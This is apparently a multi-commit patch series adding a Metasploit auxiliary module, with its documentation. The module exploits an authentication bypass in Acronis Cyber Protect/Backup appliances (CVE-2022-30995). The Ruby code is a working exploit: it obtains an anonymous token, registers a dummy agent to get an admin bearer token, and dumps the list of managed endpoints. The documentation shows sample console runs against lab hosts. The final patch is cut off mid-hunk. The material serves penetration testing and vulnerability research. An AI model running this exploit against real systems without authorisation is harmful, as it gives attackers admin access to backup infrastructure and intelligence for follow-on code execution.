From abf81619d48906b5247a762e49ffd31028ab89d8 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 08:45:32 +0000 Subject: [PATCH 1/8] init commit module --- ...s_cyber_protect_machine_info_disclosure.rb | 273 ++++++++++++++++++ 1 file changed, 273 insertions(+) create mode 100644 modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb new file mode 100644 index 0000000000..bf7465c93f --- /dev/null +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -0,0 +1,273 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup machine info disclosure', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-30995'], + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => { + 'RPORT' => 9877, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptBool.new('PRTSCRN', [false, 'Print output to console', true]) + ] + ) + end + + # return first access_token or nil if not successful + def get_access_token1 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'password', + 'username' => nil, + 'password' => nil + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # register a dummy agent in Acronis Cyber Protect 12.5 and 15.0 + # returns the client_secret if successful otherwise nil + def dummy_agent_registration(client_id) + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + post_data = { + client_id: client_id.to_s, + data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, + tenant_id: nil, + token_endpoint_auth_method: 'client_secret_basic', + type: 'agent' + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token1}" + }, + 'data' => post_data.to_s + }) + return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') + + # parse json response and return client_secret + res_json = res.get_json_document + return if res_json.blank? + + res_json['client_secret'] + end + + # return second access_token or nil if not successful + def get_access_token2(client_id, client_secret) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + }, + 'vars_post' => { + 'grant_type' => 'client_credentials', + 'client_id' => client_id.to_s, + 'client_secret' => client_secret.to_s + } + }) + return unless res&.code == 200 + return unless res.body.include?('access_token') + + # parse json response and return access_token + res_json = res.get_json_document + return if res_json.blank? + + res_json['access_token'] + end + + # return all configured items in json format or return nil if not successful + def get_machine_info + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), + 'ctype' => 'application/json', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + }, + 'vars_get' => { + 'embed' => 'details' + } + }) + return unless res&.code == 200 + return unless res.body.include?('items') || res.body.include?('data') + + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json + end + + # return version information or nil if not successful + def get_version_info + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{@access_token2}" + } + }) + return unless res&.code == 200 + return unless res.body.include?('backendVersion') + + # parse json response and get the relevant machine info + res_json = res.get_json_document + return if res_json.blank? + + res_json['backendVersion'] + end + + # return true if the acronis protect/backup api service is running or false if not found + def acronis_cyber_service_running? + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return false unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + true + end + + def check + return Exploit::CheckCode::Detected if acronis_cyber_service_running? + + Exploit::CheckCode::Unknown('Can not determine if the Acronis Cyber Protect or Backup service is running.') + end + + def run + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("AT1: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("AT2: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info + fail_with(Failure::NotFound, 'Can not find any version information.') if version.nil? + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + when '12.5' + print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + else + print_status("Acronis Cyber Protect/Backup #{version}") + end + + # get all the managed endpoint configuration info + print_status('Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # print all the managed endpoint information to the console + if datastore['PRTSCRN'] + print_status('List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.') + res_json['data'].each do |item| + next unless item['type'] == 'machine' + + print_status('----------------------------------------') + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: #{item['type']}") unless item['type'].nil? + print_status("hostname: #{item['title']}") unless item['title'].nil? + print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil? + print_status("OS: #{item['os']}") unless item['os'].nil? + print_status("ARCH: #{item['osType']}") unless item['osType'].nil? + print_status("ONLINE: #{item['online']}") unless item['online'].nil? + end + end + end +end From d6e080a253ffbd9ac120d25933fa76456bb84445 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 10:25:43 +0000 Subject: [PATCH 2/8] first release module + documentation --- ...s_cyber_protect_machine_info_disclosure.md | 208 ++++++++++++++++++ ...s_cyber_protect_machine_info_disclosure.rb | 2 +- 2 files changed, 209 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md new file mode 100644 index 0000000000..4ea8c54aa8 --- /dev/null +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -0,0 +1,208 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. + +This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which, +in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints. +This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, +this bearer token is also valid for any actions on the web console. +This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +This module will gather all machine info (endpoints) configured and managed by the appliance. +This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands +on both the managed endpoint and the appliance itself. +This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` +- [ ] `set rhosts ` +- [ ] `run` +- [ ] you should get a list of all endpoints that are registered at the appliance. + +## Options +### PRTSCRN +You can use this option to turn on or off the print output of the gather info to the console (default true). +By default all information will be stored in a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. + +## Scenarios +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info + + Name: Acronis Cyber Protect/Backup machine info disclosure + Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure + License: Metasploit Framework License (BSD) + Rank: Excellent + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + PRTSCRN true no Print output to console + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.201.6 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance + VHOST no HTTP server virtual host + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance. + This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-30995 + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995 + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run + +[*] Running module against 192.168.201.6 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023084506_default_192.168.201.6_acronis.cyber.pr_785289.bin +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] ---------------------------------------- +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Auxiliary module execution completed +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run +[*] Running module against 192.168.201.6 + +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] Acronis Cyber Protect/Backup 15.0.27009 - VULNERABLE +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023093629_default_192.168.201.6_acronis.cyber.pr_725453.bin +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] ---------------------------------------- +[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks +[*] type: machine +[*] hostname: victim.evil.corp +[*] IP: 192.168.201.2 +[*] OS: Microsoft Windows Server 2022 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] Auxiliary module execution completed +``` + +## Limitations +No limitations. diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index bf7465c93f..9c0f56ecaa 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -4,7 +4,6 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Auxiliary::Report @@ -31,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary This module will gather all machine info (endpoints) configured and managed by the appliance. This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands on both the managed endpoint and the appliance. + This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. From 4a1d31f239b51586b59d61f66da3034ea10a2eec Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 10:36:59 +0000 Subject: [PATCH 3/8] small update on the documentation --- .../gather/acronis_cyber_protect_machine_info_disclosure.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md index 4ea8c54aa8..b858d23eaf 100644 --- a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -91,7 +91,7 @@ Basic options: ---- --------------- -------- ----------- PRTSCRN true no Print output to console Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.201.6 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- metasploit.html RPORT 9877 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections @@ -113,8 +113,8 @@ Description: This module will gather all machine info (endpoints) configured and managed by the appliance. This information can be used in a subsequent attack that exploits this vulnerability to - execute arbitrary commands on both the managed endpoint and the appliance. - This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + execute arbitrary commands on both the managed endpoint and the appliance which is covered + in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. From 5aaf0b22cddc532fc62625c76310cd06bb4b5c5e Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 25 Oct 2024 10:41:10 +0000 Subject: [PATCH 4/8] update based on review comments of adfoster-r7 --- ...s_cyber_protect_machine_info_disclosure.md | 15 ++- ...s_cyber_protect_machine_info_disclosure.rb | 93 +++++++++++++------ 2 files changed, 72 insertions(+), 36 deletions(-) diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md index b858d23eaf..47bc24b0e8 100644 --- a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -55,9 +55,9 @@ You are now ready to test the module. - [ ] you should get a list of all endpoints that are registered at the appliance. ## Options -### PRTSCRN -You can use this option to turn on or off the print output of the gather info to the console (default true). -By default all information will be stored in a file in `json` format at the loot directory. +### OUTPUT +You can use option `table` to print output of the gather info to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. You can use this file in combination with `jq` for offline queries and processing. ## Scenarios @@ -89,7 +89,7 @@ Check supported: Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- - PRTSCRN true no Print output to console + OUTPUT table yes Output format to use (Accepted: table, json) Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- metasploit.html @@ -140,9 +140,8 @@ msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. -[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 [*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. -[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023084506_default_192.168.201.6_acronis.cyber.pr_785289.bin [*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. [*] ---------------------------------------- [+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC @@ -172,14 +171,12 @@ msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Running module against 192.168.201.6 [*] Running automatic check ("set AutoCheck false" to disable) -[!] The service is running, but could not be validated. [*] Retrieve the first access token. [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. -[+] Acronis Cyber Protect/Backup 15.0.27009 - VULNERABLE +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 [*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. -[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023093629_default_192.168.201.6_acronis.cyber.pr_725453.bin [*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. [*] ---------------------------------------- [+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index 9c0f56ecaa..40a4f15207 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), - OptBool.new('PRTSCRN', [false, 'Print output to console', true]) + OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']]) ] ) end @@ -164,8 +164,10 @@ class MetasploitModule < Msf::Auxiliary return unless res&.code == 200 return unless res.body.include?('items') || res.body.include?('data') - loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') - print_good("Configuration details are successfully saved in json format to #{loot_path}") + if datastore['OUTPUT'] == 'json' + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + end # parse json response and get the relevant machine info res_json = res.get_json_document @@ -195,55 +197,92 @@ class MetasploitModule < Msf::Auxiliary res_json['backendVersion'] end - # return true if the acronis protect/backup api service is running or false if not found - def acronis_cyber_service_running? + # check if the target is running the acronis protect/backup and return the version information. + def get_acronis_cyber_protect_version + # initial check on api access res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), 'ctype' => 'application/json' }) - return false unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + return unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') - true - end - - def check - return Exploit::CheckCode::Detected if acronis_cyber_service_running? - - Exploit::CheckCode::Unknown('Can not determine if the Acronis Cyber Protect or Backup service is running.') - end - - def run # get first access token print_status('Retrieve the first access token.') @access_token1 = get_access_token1 - vprint_status("AT1: #{@access_token1}") - fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + vprint_status("Extracted first access token: #{@access_token1}") + if @access_token1.nil? + print_warning('Retrieval of the first access token failed.') + return nil + end # register a dummy agent client_id = SecureRandom.uuid print_status('Register a dummy backup agent.') client_secret = dummy_agent_registration(client_id) - fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + if client_secret.nil? + print_warning('Registering a dummy agent failed.') + return nil + end print_status('Dummy backup agent registration is successful.') # get second access_token print_status('Retrieve the second access token.') @access_token2 = get_access_token2(client_id, client_secret) - vprint_status("AT2: #{@access_token2}") - fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + vprint_status("Extracted second access token: #{@access_token2}") + if @access_token2.nil? + print_warning('Retrieval of the second access token failed.') + return nil + end # get version info - version = get_version_info - fail_with(Failure::NotFound, 'Can not find any version information.') if version.nil? + get_version_info + end + + def check + version = get_acronis_cyber_protect_version + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? + release = version.match(/(.+)\.(\d+)/) case release[1] when '15.0' - print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end when '12.5' - print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end else - print_status("Acronis Cyber Protect/Backup #{version}") + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def run + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? end # get all the managed endpoint configuration info @@ -252,7 +291,7 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? # print all the managed endpoint information to the console - if datastore['PRTSCRN'] + if datastore['OUTPUT'] == 'table' print_status('List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance.') res_json['data'].each do |item| next unless item['type'] == 'machine' From 2c40621d184e0eff2fefa0ba75eae17109156acc Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 28 Oct 2024 14:27:05 +0000 Subject: [PATCH 5/8] added report_web_vuln as suggested by the reviewer --- ...onis_cyber_protect_machine_info_disclosure.rb | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb index 40a4f15207..92ac6c140a 100644 --- a/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb +++ b/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), - OptEnum.new('OUTPUT', [true, 'output format to use', 'table', ['table', 'json']]) + OptEnum.new('OUTPUT', [true, 'Output format to use', 'table', ['table', 'json']]) ] ) end @@ -285,6 +285,20 @@ class 